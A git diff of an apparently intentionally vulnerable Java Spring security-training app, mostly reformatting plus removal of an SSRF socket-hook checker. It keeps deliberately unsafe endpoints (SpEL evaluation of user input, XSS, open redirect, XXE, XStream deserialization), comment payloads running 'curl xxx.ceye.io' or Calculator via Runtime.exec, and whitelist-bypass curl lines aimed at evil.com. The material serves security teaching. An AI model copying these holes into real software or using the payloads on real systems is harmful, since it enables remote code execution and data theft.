diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java
index 07be7d7e..6d06ffc7 100644
--- a/src/main/java/org/joychou/controller/SpEL.java
+++ b/src/main/java/org/joychou/controller/SpEL.java
@@ -20,18 +20,18 @@ public class SpEL {
* xxx is urlencode(exp)
* exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
*/
- @RequestMapping("/spel/vul")
- private static String rce(String expression) {
+ @RequestMapping("/spel/vuln")
+ public String rce(String expression) {
ExpressionParser parser = new SpelExpressionParser();
// fix method: SimpleEvaluationContext
- String result = parser.parseExpression(expression).getValue().toString();
- return result;
+ return parser.parseExpression(expression).getValue().toString();
}
- public static void main(String[] args) {
+ public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")";
String result = parser.parseExpression(expression).getValue().toString();
+ System.out.println(result);
}
}
diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java
index 902b2269..8bc0d38b 100644
--- a/src/main/java/org/joychou/controller/Test.java
+++ b/src/main/java/org/joychou/controller/Test.java
@@ -5,7 +5,6 @@
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.Cookie;
-import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@Controller
@@ -14,7 +13,7 @@ public class Test {
@RequestMapping(value = "/")
@ResponseBody
- private String Index(HttpServletResponse response, String empId) {
+ public String Index(HttpServletResponse response, String empId) {
System.out.println(empId);
Cookie cookie = new Cookie("XSRF-TOKEN", "123");
diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java
index d16f0ebb..2b96322e 100644
--- a/src/main/java/org/joychou/controller/URLRedirect.java
+++ b/src/main/java/org/joychou/controller/URLRedirect.java
@@ -10,14 +10,15 @@
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
+
import org.joychou.security.SecurityUtil;
/**
* The vulnerability code and security code of Java url redirect.
* The security code is checking whitelist of url redirect.
*
- * @author JoyChou (joychou@joychou.org)
- * @version 2017.12.28
+ * @author JoyChou (joychou@joychou.org)
+ * @version 2017.12.28
*/
@Controller
@@ -38,7 +39,7 @@ public String redirect(@RequestParam("url") String url) {
*/
@RequestMapping("/setHeader")
@ResponseBody
- public static void setHeader(HttpServletRequest request, HttpServletResponse response){
+ public static void setHeader(HttpServletRequest request, HttpServletResponse response) {
String url = request.getParameter("url");
response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301 redirect
response.setHeader("Location", url);
@@ -50,7 +51,7 @@ public static void setHeader(HttpServletRequest request, HttpServletResponse res
*/
@RequestMapping("/sendRedirect")
@ResponseBody
- public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException{
+ public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
String url = request.getParameter("url");
response.sendRedirect(url); // 302 redirect
}
@@ -64,10 +65,10 @@ public static void sendRedirect(HttpServletRequest request, HttpServletResponse
@ResponseBody
public static void forward(HttpServletRequest request, HttpServletResponse response) {
String url = request.getParameter("url");
- RequestDispatcher rd =request.getRequestDispatcher(url);
- try{
+ RequestDispatcher rd = request.getRequestDispatcher(url);
+ try {
rd.forward(request, response);
- }catch (Exception e) {
+ } catch (Exception e) {
e.printStackTrace();
}
}
@@ -80,7 +81,7 @@ public static void forward(HttpServletRequest request, HttpServletResponse respo
@RequestMapping("/sendRedirect/sec")
@ResponseBody
public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response)
- throws IOException{
+ throws IOException {
String url = request.getParameter("url");
if (SecurityUtil.checkURL(url) == null) {
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java
index f4638524..c4b04dc5 100644
--- a/src/main/java/org/joychou/controller/URLWhiteList.java
+++ b/src/main/java/org/joychou/controller/URLWhiteList.java
@@ -15,8 +15,8 @@
* The vulnerability code and security code of Java url whitelist.
* The security code is checking url whitelist.
*
- * @author JoyChou (joychou@joychou.org)
- * @version 2018.08.23
+ * @author JoyChou (joychou@joychou.org)
+ * @version 2018.08.23
*/
@RestController
@@ -26,17 +26,17 @@ public class URLWhiteList {
private String domainwhitelist[] = {"joychou.org", "joychou.com"};
private static final Logger logger = LoggerFactory.getLogger(URLWhiteList.class);
+
/**
* bypass poc: bypassjoychou.org
* http://localhost:8080/url/vuln/endswith?url=http://aaajoychou.org
- *
*/
@GetMapping("/vuln/endsWith")
- public String endsWith(@RequestParam("url") String url) throws Exception{
+ public String endsWith(@RequestParam("url") String url) throws Exception {
URL u = new URL(url);
String host = u.getHost().toLowerCase();
- for (String domain: domainwhitelist){
+ for (String domain : domainwhitelist) {
if (host.endsWith(domain)) {
return "Good url.";
}
@@ -46,17 +46,17 @@ public String endsWith(@RequestParam("url") String url) throws Exception{
/**
- * bypass poc: joychou.org.bypass.com or bypassjoychou.org.
+ * It's the same with indexOf.
+ *
* http://localhost:8080/url/vuln/contains?url=http://joychou.org.bypass.com
* http://localhost:8080/url/vuln/contains?url=http://bypassjoychou.org
- *
*/
@GetMapping("/vuln/contains")
- public String contains(@RequestParam("url") String url) throws Exception{
+ public String contains(@RequestParam("url") String url) throws Exception {
URL u = new URL(url);
String host = u.getHost().toLowerCase();
- for (String domain: domainwhitelist){
+ for (String domain : domainwhitelist) {
if (host.contains(domain)) {
return "Good url.";
}
@@ -68,10 +68,9 @@ public String contains(@RequestParam("url") String url) throws Exception{
/**
* bypass poc: bypassjoychou.org. It's the same with endsWith.
* http://localhost:8080/url/vuln/regex?url=http://aaajoychou.org
- *
*/
@GetMapping("/vuln/regex")
- public String regex(@RequestParam("url") String url) throws Exception{
+ public String regex(@RequestParam("url") String url) throws Exception {
URL u = new URL(url);
String host = u.getHost().toLowerCase();
@@ -86,34 +85,16 @@ public String regex(@RequestParam("url") String url) throws Exception{
/**
- * bypass poc: joychou.org.bypass.com or bypassjoychou.org. It's the same with contains.
- * http://localhost:8080/url/vuln/indexOf?url=http://joychou.org.bypass.com http://bypassjoychou.org
- *
- */
- @GetMapping("/vuln/indexOf")
- public String indexOf(@RequestParam("url") String url) throws Exception{
- URL u = new URL(url);
- String host = u.getHost();
-
- // If indexOf returns -1, it means that no string was found.
- for (String domain: domainwhitelist){
- if (host.indexOf(domain) != -1) {
- return "Good url.";
- }
- }
- return "Bad url.";
- }
-
- /**
- * The bypass of using java.net.URL to getHost.
- *
+ * The bypass of using java.net.URL to getHost.
+ *
* Bypass poc1: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html'
* Bypass poc2: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html'
- *
- * Detail: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass
+ *
+ * More details: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass
*/
@GetMapping("/vuln/url_bypass")
- public String url_bypass(@RequestParam("url") String url) throws Exception{
+ public String url_bypass(String url) throws Exception {
+
logger.info("url: " + url);
URL u = new URL(url);
@@ -125,7 +106,7 @@ public String url_bypass(@RequestParam("url") String url) throws Exception{
logger.info("host: " + host);
// endsWith .
- for (String domain: domainwhitelist){
+ for (String domain : domainwhitelist) {
if (host.endsWith("." + domain)) {
return "Good url.";
}
@@ -135,14 +116,12 @@ public String url_bypass(@RequestParam("url") String url) throws Exception{
}
-
/**
* 一级域名白名单 First-level host whitelist.
* http://localhost:8080/url/sec/endswith?url=http://aa.joychou.org
- *
*/
@GetMapping("/sec/endswith")
- public String sec_endswith(@RequestParam("url") String url) throws Exception{
+ public String sec_endswith(@RequestParam("url") String url) throws Exception {
String whiteDomainlists[] = {"joychou.org", "joychou.com"};
@@ -154,7 +133,7 @@ public String sec_endswith(@RequestParam("url") String url) throws Exception{
String host = uri.getHost().toLowerCase();
// endsWith .
- for (String domain: whiteDomainlists){
+ for (String domain : whiteDomainlists) {
if (host.endsWith("." + domain)) {
return "Good url.";
}
@@ -166,10 +145,9 @@ public String sec_endswith(@RequestParam("url") String url) throws Exception{
/**
* 多级域名白名单 Multi-level host whitelist.
* http://localhost:8080/url/sec/multi_level_hos?url=http://ccc.bbb.joychou.org
- *
*/
@GetMapping("/sec/multi_level_host")
- public String sec_multi_level_host(@RequestParam("url") String url) throws Exception{
+ public String sec_multi_level_host(@RequestParam("url") String url) throws Exception {
String whiteDomainlists[] = {"aaa.joychou.org", "ccc.bbb.joychou.org"};
URI uri = new URI(url);
@@ -179,7 +157,7 @@ public String sec_multi_level_host(@RequestParam("url") String url) throws Excep
String host = uri.getHost().toLowerCase();
// equals
- for (String domain: whiteDomainlists){
+ for (String domain : whiteDomainlists) {
if (host.equals(domain)) {
return "Good url.";
}
@@ -191,10 +169,9 @@ public String sec_multi_level_host(@RequestParam("url") String url) throws Excep
/**
* 多级域名白名单 Multi-level host whitelist.
* http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org
- *
*/
@GetMapping("/sec/array_indexOf")
- public String sec_array_indexOf(@RequestParam("url") String url) throws Exception{
+ public String sec_array_indexOf(@RequestParam("url") String url) throws Exception {
// Define muti-level host whitelist.
ArrayList whiteDomainlists = new ArrayList<>();
diff --git a/src/main/java/org/joychou/controller/XSS.java b/src/main/java/org/joychou/controller/XSS.java
index 68e89c0c..1c4b8732 100644
--- a/src/main/java/org/joychou/controller/XSS.java
+++ b/src/main/java/org/joychou/controller/XSS.java
@@ -26,8 +26,7 @@ public class XSS {
*/
@RequestMapping("/reflect")
@ResponseBody
- public static String reflect(String xss)
- {
+ public static String reflect(String xss) {
return xss;
}
@@ -40,8 +39,7 @@ public static String reflect(String xss)
*/
@RequestMapping("/stored/store")
@ResponseBody
- public String store(String xss, HttpServletResponse response)
- {
+ public String store(String xss, HttpServletResponse response) {
Cookie cookie = new Cookie("xss", xss);
response.addCookie(cookie);
return "Set param into cookie";
@@ -56,19 +54,17 @@ public String store(String xss, HttpServletResponse response)
*/
@RequestMapping("/stored/show")
@ResponseBody
- public String show(@CookieValue("xss") String xss)
- {
+ public String show(@CookieValue("xss") String xss) {
return xss;
}
/**
* safe Code.
* http://localhost:8080/xss/safe
- *
*/
@RequestMapping("/safe")
@ResponseBody
- public static String safe(String xss){
+ public static String safe(String xss) {
return encode(xss);
}
diff --git a/src/main/java/org/joychou/controller/XStreamRce.java b/src/main/java/org/joychou/controller/XStreamRce.java
index 20b96147..62616e95 100644
--- a/src/main/java/org/joychou/controller/XStreamRce.java
+++ b/src/main/java/org/joychou/controller/XStreamRce.java
@@ -21,14 +21,14 @@ public class XStreamRce {
* @author JoyChou @2019-07-26
*/
@PostMapping("/xstream")
- public String parseXml(HttpServletRequest request) throws Exception{
+ public String parseXml(HttpServletRequest request) throws Exception {
String xml = WebUtils.getRequestBody(request);
XStream xstream = new XStream(new DomDriver());
xstream.fromXML(xml);
return "xstream";
}
- public static void main(String[] args) throws Exception {
+ public static void main(String[] args) {
User user = new User();
user.setId(0);
user.setUsername("admin");
@@ -37,7 +37,7 @@ public static void main(String[] args) throws Exception {
String xml = xstream.toXML(user); // Serialize
System.out.println(xml);
- user = (User)xstream.fromXML(xml); // Deserialize
- System.out.println(user.getId() + ": " + user.getUsername() );
+ user = (User) xstream.fromXML(xml); // Deserialize
+ System.out.println(user.getId() + ": " + user.getUsername());
}
}
diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java
index 1de059ce..f9a4c7fc 100644
--- a/src/main/java/org/joychou/controller/XXE.java
+++ b/src/main/java/org/joychou/controller/XXE.java
@@ -5,6 +5,7 @@
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.*;
+
import javax.servlet.http.HttpServletRequest;
import org.w3c.dom.Document;
@@ -12,13 +13,16 @@
import org.w3c.dom.NodeList;
import org.xml.sax.helpers.XMLReaderFactory;
import org.xml.sax.XMLReader;
+
import java.io.*;
+
import org.xml.sax.InputSource;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.parsers.SAXParser;
+
import org.xml.sax.helpers.DefaultHandler;
import org.apache.commons.digester3.Digester;
import org.jdom2.input.SAXBuilder;
@@ -34,7 +38,7 @@
@RequestMapping("/xxe")
public class XXE {
- private static Logger logger= LoggerFactory.getLogger(XXE.class);
+ private static Logger logger = LoggerFactory.getLogger(XXE.class);
private static String EXCEPT = "xxe except";
@RequestMapping(value = "/xmlReader/vuln", method = RequestMethod.POST)
@@ -235,14 +239,14 @@ public String DocumentBuilderVuln01(HttpServletRequest request) {
Document document = db.parse(is); // parse xml
// 遍历xml节点name和value
- StringBuffer buf = new StringBuffer();
+ StringBuilder buf = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
- buf.append(node.getNodeName() + ": " + node.getTextContent() + "\n");
+ buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
sr.close();
@@ -268,7 +272,7 @@ public String DocumentBuilderVuln02(HttpServletRequest request) {
Document document = db.parse(is); // parse xml
// 遍历xml节点name和value
- StringBuffer result = new StringBuffer();
+ StringBuilder result = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
@@ -277,8 +281,7 @@ public String DocumentBuilderVuln02(HttpServletRequest request) {
Node node = child.item(j);
// 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。
if (child.item(j).getNodeType() == Node.ELEMENT_NODE) {
- result.append(node.getNodeName() + ": " +
- node.getFirstChild().getNodeValue() + "\n");
+ result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild()));
}
}
}
@@ -329,17 +332,7 @@ public String DocumentBuilderXincludeVuln(HttpServletRequest request) {
Document document = db.parse(is); // parse xml
NodeList rootNodeList = document.getChildNodes();
-
- for (int i = 0; i < rootNodeList.getLength(); i++) {
- Node rootNode = rootNodeList.item(i);
- NodeList xxe = rootNode.getChildNodes();
- for (int j = 0; j < xxe.getLength(); j++) {
- Node xxeNode = xxe.item(j);
- // 测试不能blind xxe,所以强行加了一个回显
- logger.info("xxeNode: " + xxeNode.getNodeValue());
- }
-
- }
+ response(rootNodeList);
sr.close();
return "DocumentBuilder xinclude xxe vuln code";
@@ -362,23 +355,14 @@ public String DocumentBuilderXincludeSec(HttpServletRequest request) {
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
+
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
NodeList rootNodeList = document.getChildNodes();
-
- for (int i = 0; i < rootNodeList.getLength(); i++) {
- Node rootNode = rootNodeList.item(i);
- NodeList xxe = rootNode.getChildNodes();
- for (int j = 0; j < xxe.getLength(); j++) {
- Node xxeNode = xxe.item(j);
- // 测试不能blind xxe,所以强行加了一个回显
- logger.info("xxeNode: " + xxeNode.getNodeValue());
- }
-
- }
+ response(rootNodeList);
sr.close();
} catch (Exception e) {
@@ -437,7 +421,7 @@ public String XMLReaderSec(HttpServletRequest request) {
*/
@PostMapping("/DocumentHelper/vuln")
public String DocumentHelper(HttpServletRequest req) {
- try{
+ try {
String body = WebUtils.getRequestBody(req);
DocumentHelper.parseText(body); // parse xml
} catch (Exception e) {
@@ -448,7 +432,21 @@ public String DocumentHelper(HttpServletRequest req) {
return "DocumentHelper xxe vuln code";
}
- public static void main(String[] args) throws Exception {
+
+ private static void response(NodeList rootNodeList){
+ for (int i = 0; i < rootNodeList.getLength(); i++) {
+ Node rootNode = rootNodeList.item(i);
+ NodeList xxe = rootNode.getChildNodes();
+ for (int j = 0; j < xxe.getLength(); j++) {
+ Node xxeNode = xxe.item(j);
+ // 测试不能blind xxe,所以强行加了一个回显
+ logger.info("xxeNode: " + xxeNode.getNodeValue());
+ }
+
+ }
+ }
+
+ public static void main(String[] args) {
}
}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java
index 6cefe27f..3000d558 100644
--- a/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java
+++ b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java
@@ -16,7 +16,6 @@
import java.io.IOException;
import java.util.Iterator;
-import static org.apache.commons.lang.StringUtils.isBlank;
/**
* Desc: poi-ooxml xxe vuln code
@@ -43,7 +42,7 @@ public String index() {
@PostMapping("/readxlsx")
@ResponseBody
- public String ooxml_xxe(MultipartFile file)throws IOException {
+ public String ooxml_xxe(MultipartFile file) throws IOException {
XSSFWorkbook wb = new XSSFWorkbook(file.getInputStream()); // xxe vuln
XSSFSheet sheet = wb.getSheetAt(0);
@@ -51,29 +50,26 @@ public String ooxml_xxe(MultipartFile file)throws IOException {
XSSFCell cell;
Iterator rows = sheet.rowIterator();
- String result = "";
+ StringBuilder sbResult = new StringBuilder();
- while (rows.hasNext())
- {
- row=(XSSFRow) rows.next();
+ while (rows.hasNext()) {
+
+ row = (XSSFRow) rows.next();
Iterator cells = row.cellIterator();
- while (cells.hasNext())
- {
- cell=(XSSFCell) cells.next();
+
+ while (cells.hasNext()) {
+ cell = (XSSFCell) cells.next();
if (cell.getCellType() == XSSFCell.CELL_TYPE_STRING) {
- result += cell.getStringCellValue()+ " ";
- } else if(cell.getCellType() == XSSFCell.CELL_TYPE_NUMERIC) {
- result += cell.getNumericCellValue()+ " ";
+ sbResult.append(cell.getStringCellValue()).append(" ");
+ } else if (cell.getCellType() == XSSFCell.CELL_TYPE_NUMERIC) {
+ sbResult.append(cell.getNumericCellValue()).append(" ");
} else {
logger.info("errors");
}
}
}
- if ( isBlank(result) ){
- result = "xxe test";
- }
- return result;
+ return sbResult.toString();
}
}
diff --git a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java
index 4ca4bf2f..ec054ffd 100644
--- a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java
+++ b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java
@@ -33,12 +33,12 @@ public String index() {
@PostMapping("/readxlsx")
- public void xllx_streamer_xxe(MultipartFile file)throws IOException {
- Workbook wb = StreamingReader.builder().open(file.getInputStream());
+ public void xllx_streamer_xxe(MultipartFile file) throws IOException {
+ StreamingReader.builder().open(file.getInputStream());
}
public static void main(String[] args) throws Exception {
- Workbook wb = StreamingReader.builder().open((new FileInputStream("poc.xlsx")));
+ StreamingReader.builder().open((new FileInputStream("poc.xlsx")));
}
}
diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java
index 4e2e9716..32195a27 100644
--- a/src/main/java/org/joychou/filter/OriginFilter.java
+++ b/src/main/java/org/joychou/filter/OriginFilter.java
@@ -14,8 +14,8 @@
/**
* 推荐使用该全局方案修复Cors跨域漏洞,因为可以校验一级域名。
- * @author JoyChou @ 2019.12.19
*
+ * @author JoyChou @ 2019.12.19
*/
@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter")
public class OriginFilter implements Filter {
@@ -25,20 +25,20 @@ public void init(FilterConfig filterConfig) throws ServletException {
}
- private final Logger logger= LoggerFactory.getLogger(this.getClass());
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
throws IOException, ServletException {
- HttpServletRequest request = (HttpServletRequest)req;
- HttpServletResponse response = (HttpServletResponse)res;
+ HttpServletRequest request = (HttpServletRequest) req;
+ HttpServletResponse response = (HttpServletResponse) res;
String origin = request.getHeader("Origin");
logger.info("[+] Origin: " + origin + "\tCurrent url:" + request.getRequestURL());
// 以file协议访问html,origin为字符串的null,所以依然会走安全check逻辑
- if ( origin != null && SecurityUtil.checkURL(origin) == null) {
+ if (origin != null && SecurityUtil.checkURL(origin) == null) {
logger.error("[-] Origin check error. " + "Origin: " + origin +
"\tCurrent url:" + request.getRequestURL());
response.setStatus(response.SC_FORBIDDEN);
diff --git a/src/main/java/org/joychou/filter/ReferFilter.java b/src/main/java/org/joychou/filter/ReferFilter.java
index b2326f9f..da1030e6 100644
--- a/src/main/java/org/joychou/filter/ReferFilter.java
+++ b/src/main/java/org/joychou/filter/ReferFilter.java
@@ -18,9 +18,8 @@
/**
* Check referer for all GET requests with callback parameters.
* If the check of referer fails, a 403 forbidden error page will be returned.
- *
+ *
* Still need to add @ServletComponentScan annotation in Application.java.
- *
*/
@WebFilter(filterName = "referFilter", urlPatterns = "/*")
public class ReferFilter implements Filter {
@@ -30,7 +29,7 @@ public void init(FilterConfig filterConfig) throws ServletException {
}
- private final Logger logger= LoggerFactory.getLogger(this.getClass());
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
@@ -43,8 +42,8 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
boolean isMatch = false;
// 获取要校验Referer的Uri
- for (String uri: WebConfig.getReferUris()) {
- if ( matcher.match (uri, request.getRequestURI()) ) {
+ for (String uri : WebConfig.getReferUris()) {
+ if (matcher.match(uri, request.getRequestURI())) {
isMatch = true;
break;
}
@@ -63,9 +62,9 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
// Check referer for all GET requests with callback parameters.
String reqCallback = request.getParameter(WebConfig.getBusinessCallback());
- if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback) ){
+ if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback)) {
// If the check of referer fails, a 403 forbidden error page will be returned.
- if (SecurityUtil.checkURL(refer) == null ){
+ if (SecurityUtil.checkURL(refer) == null) {
logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t"
+ "Referer: " + refer);
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
@@ -76,7 +75,6 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
}
-
filterChain.doFilter(req, res);
}
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index 2cbe52ab..a1c4cfc6 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -1,6 +1,8 @@
package org.joychou.security;
import org.joychou.config.WebConfig;
+import org.joychou.security.ssrf.SSRFChecker;
+import org.joychou.security.ssrf.SocketHook;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@@ -116,26 +118,22 @@ public static boolean checkSSRFWithoutRedirect(String url) {
if(url == null) {
return false;
}
- return !SSRFChecker.isInnerIPByUrl(url);
+ return !SSRFChecker.isInternalIpByUrl(url);
}
/**
- * @Author liergou
- * @Description 基于Socket hook 进行SSRF检测拦截
- * @Date 2:15 2020/4/4
- * @Param []
- * @return void
- **/
+ * Check ssrf by hook socket. Start socket hook.
+ *
+ * @author liergou @ 2020-04-04 02:15
+ */
public static void startSSRFHook() throws NoSuchFieldException, IOException {
SocketHook.startHook();
}
/**
- * @Author liergou
- * @Description 关闭Socket hook
- * @Date 2:15 2020/4/4
- * @Param []
- * @return void
+ * Close socket hook.
+ *
+ * @author liergou @ 2020-04-04 02:15
**/
public static void stopSSRFHook(){
SocketHook.stopHook();
diff --git a/src/main/java/org/joychou/security/SocketHookFactory.java b/src/main/java/org/joychou/security/SocketHookFactory.java
deleted file mode 100644
index 2dbe738f..00000000
--- a/src/main/java/org/joychou/security/SocketHookFactory.java
+++ /dev/null
@@ -1,77 +0,0 @@
-package org.joychou.security;
-
-
-import java.io.IOException;
-import java.lang.reflect.Field;
-import java.net.Socket;
-import java.net.SocketImpl;
-import java.net.SocketImplFactory;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-
-/**
- * @Author liergou
- * @Description socket factory impl
- * @Date 23:41 2020/4/3
- * @Param
- * @return
- **/
-public class SocketHookFactory implements SocketImplFactory
- {
- private static SocketImpl clazz;
- private static Boolean isHook = false;
-
- /**
- * @Author liergou
- * @Description switch hook
- * @Date 23:42 2020/4/2
- * @Param [set]
- * @return void
- **/
- public static void setHook(Boolean set){
- isHook = set;
- }
-
- /**
- * @Author liergou
- * @Description 初始化
- * @Date 23:42 2020/4/2
- * @Param []
- * @return void
- **/
- public static synchronized void initSocket() throws NoSuchFieldException {
- if ( clazz != null ) { return; }
-
- Socket socket = new Socket();
- try{
- Field implField = Socket.class.getDeclaredField("impl");
- implField.setAccessible( true );
- clazz = (SocketImpl) implField.get(socket);
- }catch (NoSuchFieldException | IllegalAccessException e){
- throw new RuntimeException("SocketHookFactory init failed!");
- }
-
- try {
- socket.close();
- }
- catch ( IOException ignored)
- {
-
- }
- }
-
- public SocketImpl createSocketImpl() {
-
- if(isHook) {
- try {
- return new SocketHookImpl(clazz);
- } catch (Exception e) {
- Logger.getLogger(SocketHookFactory.class.getName()).log(Level.WARNING, "hook 失败 请检查" );
- return clazz;
- }
- }else{
- return clazz;
- }
- }
- }
diff --git a/src/main/java/org/joychou/security/SocketHookImpl.java b/src/main/java/org/joychou/security/SocketHookImpl.java
deleted file mode 100644
index ec41ebac..00000000
--- a/src/main/java/org/joychou/security/SocketHookImpl.java
+++ /dev/null
@@ -1,294 +0,0 @@
-package org.joychou.security;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.net.*;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-/**
- * @Author liergou
- * @Description socket impl
- * @Date 23:39 2020/4/2
- * @Param
- * @return
- **/
-public class SocketHookImpl extends SocketImpl implements SocketOptions
-{
-
- private SocketImpl socketImpl = null;
- private Method createImpl;
- private Method connectHostImpl;
- private Method connectInetAddressImpl;
- private Method connectSocketAddressIMPL;
- private Method bindImpl;
- private Method listenImpl;
- private Method acceptImpl;
- private Method getInputStreamImpl;
- private Method getOutputStreamImpl;
- private Method availableImpl;
- private Method closeImpl;
- private Method shutdownInputImpl;
- private Method shutdownOutputImpl;
- private Method sendUrgentDataImpl;
-
-
- /**
- * @Author liergou
- * @Description 初始化反射方法
- * @Date 23:40 2020/4/2
- * @Param [initSocketImpl]
- * @return
- **/
- public SocketHookImpl(SocketImpl initSocketImpl) {
-
- if ( initSocketImpl == null){
- throw new RuntimeException("");
- //TODO close hook
- }
-
- this.socketImpl = initSocketImpl;
- final Class> clazz = this.socketImpl.getClass();
- Method[] allMethod = clazz.getDeclaredMethods();
- createImpl = SocketHookUtils.findMethod( clazz,"create", new Class>[]{ boolean.class } );
- connectHostImpl = SocketHookUtils.findMethod( clazz, "connect", new Class>[]{ String.class, int.class } );
- connectInetAddressImpl = SocketHookUtils.findMethod( clazz, "connect", new Class>[]{ InetAddress.class, int.class } );
- connectSocketAddressIMPL = SocketHookUtils.findMethod( clazz, "connect", new Class>[]{ SocketAddress.class, int.class } );
- bindImpl = SocketHookUtils.findMethod( clazz, "bind", new Class>[]{ InetAddress.class, int.class } );
- listenImpl = SocketHookUtils.findMethod( clazz, "listen", new Class>[]{ int.class } );
- acceptImpl = SocketHookUtils.findMethod( clazz, "accept", new Class>[]{ SocketImpl.class } );
- getInputStreamImpl = SocketHookUtils.findMethod( clazz, "getInputStream", new Class>[]{ } );
- getOutputStreamImpl = SocketHookUtils.findMethod( clazz, "getOutputStream", new Class>[]{ } );
- availableImpl = SocketHookUtils.findMethod( clazz, "available", new Class>[]{ } );
- closeImpl = SocketHookUtils.findMethod( clazz, "close", new Class>[]{ } );
- shutdownInputImpl = SocketHookUtils.findMethod( clazz, "shutdownInput", new Class>[]{ } );
- shutdownOutputImpl = SocketHookUtils.findMethod( clazz, "shutdownOutput", new Class>[]{ } );
- sendUrgentDataImpl = SocketHookUtils.findMethod( clazz, "sendUrgantData", new Class>[]{ int.class } );
- }
-
-
- /**
- * socket base method impl
- */
- @Override
- protected void create(boolean stream) throws IOException {
- try
- {
- this.createImpl.invoke( this.socketImpl, stream);
- }
- catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
- {
- Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
- }
-
- }
-
- @Override
- protected void connect(String host, int port) throws IOException {
- Logger.getLogger(SocketHookImpl.class.getName()).log(Level.INFO, "host=" + host + ",port=" + port );
-
- try
- {
- this.connectHostImpl.invoke( this.socketImpl, host, port);
- }
- catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex)
- {
- Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
- }
-
- }
-
-
- @Override
- protected void connect(InetAddress address, int port) throws IOException {
- Logger.getLogger(SocketHookImpl.class.getName()).log(Level.INFO, "InetAddress=" + address.toString());
-
- //start check SSRF
- if(SSRFChecker.isInnerIp(SSRFChecker.getIpFromStr(address.toString()))){
- throw new RuntimeException("Socket SSRF check failed. InetAddress:"+address.toString());
- }
- try
- {
- this.connectInetAddressImpl.invoke( this.socketImpl, address, port);
- }
